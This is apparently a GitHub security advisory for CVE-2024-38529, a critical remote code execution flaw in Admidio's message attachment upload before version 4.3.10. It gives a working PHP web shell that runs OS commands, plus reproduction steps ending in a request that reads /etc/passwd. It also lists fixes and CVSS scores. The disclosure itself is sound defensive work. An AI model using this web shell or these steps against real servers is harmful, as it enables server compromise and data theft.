Skip to content

RCE via Arbitrary File Upload in Message Attachment

Critical
Fasse published GHSA-g872-jwwr-vggm Jul 27, 2024

Package

admidio-4.x.y.zip

Affected versions

< 4.3.10

Patched versions

4.3.10

Description

Description:

Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidio_base_url}/adm_my_files/messages_attachments/{file_name}.

The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.

An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.

Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.

Impact:

An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:

  • Execute arbitrary code or commands.
  • Access, modify, or delete sensitive data.
  • Install malicious software or scripts.
  • Gain further access to internal networks.
  • Disrupt services and applications hosted on the server.

Recommendation:

  • Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded.
  • Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.

Steps to Reproduce:

  1. As a member user, go to write an email message.
  2. Upload a PHP file in the Attachment, containing the following content:
<?php
$command = isset($_GET['command']) ? $_GET['command'] : '';
$output = [];
$return_var = 0;
exec($command, $output, $return_var);
echo '<h1>Exploiting RCE</h1>';
echo 'Command: '.$command;
echo '\n<pre>';
echo implode("\n", $output);
echo '</pre>';
?>
  1. Send the email.
  2. In the message history go to the sent message.
  3. Download the file, to get the uploaded file name.
  4. Go to the following URL:
    {admidio_base_url}/adm_my_files/messages_attachments/{file_name}?command=cat+/etc/passwd
  5. The server's passwd file would be returned in the response.

Proof Of Concept:

image

Figure 1: Code of messages_send.php, not having file extension verification.

image

Figure 2: Uploading Webshell as attachment.

image

Figure 3: Download the uploaded file to get the uploaded file name.

image

Figure 4: Uploaded File name.

image

Figure 5: RCE via web shell.

image

Figure 6: RCE via Webshell.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-38529

Weaknesses

Credits